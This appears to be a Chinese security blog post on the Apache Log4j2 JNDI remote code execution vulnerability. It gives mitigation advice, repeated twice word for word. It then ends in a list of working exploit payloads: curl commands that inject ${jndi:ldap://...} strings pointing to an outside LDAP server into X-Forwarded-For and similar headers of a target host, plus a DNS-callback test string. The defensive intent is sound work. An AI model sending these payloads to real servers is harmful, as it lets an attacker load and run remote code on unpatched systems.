注意:本文分享给安全从业人员、网站开发人员以及运维人员在日常工作防范恶意攻击,请勿恶意使用下面介绍技术进行非法攻击操作。
[TOC]
0x00 快速介绍
Apache Log4j2 日志记录服务之远程代码执行漏洞实践与防护
背景介绍: Apache Log4j2 是一个开源的Java日志框架,被广泛地应用在中间件、开发框架与Web应用中。
Tips: Log4j2是Log4j的升级版, 对其前身Log4j 1.x进行了重大改进, 并提供了Logback中可用的许多改进,同时修复了Logback架构中的一些固有问题。
Apache 日志记录服务官网: https://logging.apache.org/
Log4j2 项目官网: https://logging.apache.org/log4j/2.x/index.html
漏洞时间:
影响版本: Apache Log4j 2.x <= 2.14.1
POC & Exploit:
https://github.com/tangxiaofeng7/apache-log4j-poc
简单分析+审计:
https://bbs.ichunqiu.com/thread-62322-1-1.html
https://mp.weixin.qq.com/s/-_e_Jk_6F5LZ9qOuheTQxA
https://mp.weixin.qq.com/s/15zcLEk6_x2enszhim9afA
修复建议:
安全建议
升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0-rc2 版本,地址:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
升级已知受影响的应用及组件,如srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid
jvm参数 -Dlog4j2.formatMsgNoLookups=true
log4j2.formatMsgNoLookups=True
系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true
禁止使用log4j的服务器外连出网
使用高版本jdk(如jdk11.0.1、8u191、7u201、6u211或更高版本),因为高版本jdk默认无法利用jndi注入
注意:本文分享给安全从业人员、网站开发人员以及运维人员在日常工作防范恶意攻击,请勿恶意使用下面介绍技术进行非法攻击操作。
[TOC]
0x00 快速介绍
Apache Log4j2 日志记录服务之远程代码执行漏洞实践与防护
背景介绍: Apache Log4j2 是一个开源的Java日志框架,被广泛地应用在中间件、开发框架与Web应用中。
Tips: Log4j2是Log4j的升级版, 对其前身Log4j 1.x进行了重大改进, 并提供了Logback中可用的许多改进,同时修复了Logback架构中的一些固有问题。
Apache 日志记录服务官网: https://logging.apache.org/
Log4j2 项目官网: https://logging.apache.org/log4j/2.x/index.html
漏洞时间:
影响版本: Apache Log4j 2.x <= 2.14.1
POC & Exploit:
https://github.com/tangxiaofeng7/apache-log4j-poc
简单分析+审计:
https://bbs.ichunqiu.com/thread-62322-1-1.html
https://mp.weixin.qq.com/s/-_e_Jk_6F5LZ9qOuheTQxA
https://mp.weixin.qq.com/s/15zcLEk6_x2enszhim9afA
修复建议:
安全建议
升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0-rc2 版本,地址:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
升级已知受影响的应用及组件,如srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid
jvm参数 -Dlog4j2.formatMsgNoLookups=true
log4j2.formatMsgNoLookups=True
系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true
禁止使用log4j的服务器外连出网
使用高版本jdk(如jdk11.0.1、8u191、7u201、6u211或更高版本),因为高版本jdk默认无法利用jndi注入
${jndi:ldap://10.20.172.103:8088/Exploit}
curl http://192.168.12.215:32086/kaptcha?_=1639371809353 -H ‘X-Real-IP: ${jndi:ldap://10.20.172.103:8088/Exploit}’
-H ‘X_FORWARDED_FOR: ${jndi:ldap://10.20.172.103:8088/Exploit}’
curl http://192.168.12.215:32086/kaptcha?_=1639371809353 -H ‘X-Forwarded-For: ${jndi:ldap://10.20.172.103:8088/Exploit}’
curl http://192.168.12.215:32086/kaptcha?_=1639371809353 -H ‘Proxy-Client-IP: ${jndi:ldap://10.20.172.103:8088/Exploit}’
curl http://192.168.12.215:32086/kaptcha?_=1639371809353 -H ‘WL-Proxy-Client-IP: ${jndi:ldap://10.20.172.103:8080/Exploit}’
curl http://192.168.12.215:32086/kaptcha?_=1639371809353 -H ‘HTTP_CLIENT_IP: ${jndi:ldap://10.20.172.103:8088/Exploit}’
curl http://192.168.12.215:32086/kaptcha?_=1639371809353 -H ‘HTTP_X_FORWARDED_FOR: ${jndi:ldap://10.20.172.103:8088/Exploit}’
X-Forwarded-For: ${jndi:ldap://10.20.172.103:8088/badClassName}
Proxy-Client-IP: ${jndi:ldap://10.20.172.103:8088/badClassName}
WL-Proxy-Client-IP: ${jndi:ldap://10.20.172.103:8088/badClassName}
HTTP_CLIENT_IP: ${jndi:ldap://10.20.172.103:8088/badClassName}
HTTP_X_FORWARDED_FOR: ${jndi:ldap://10.20.172.103:8088/badClassName}
${jndi:ldap://37bo7s.ceye.io/a}
String ip="";
String ip1 = request.getHeader("X_FORWARDED_FOR");
String ip2 = request.getHeader("X-Forwarded-For");
String ip3 = request.getHeader("Proxy-Client-IP");
String ip4 = request.getHeader("WL-Proxy-Client-IP");
String ip5 = request.getHeader("HTTP_CLIENT_IP");
String ip6 = request.getHeader("HTTP_X_FORWARDED_FOR");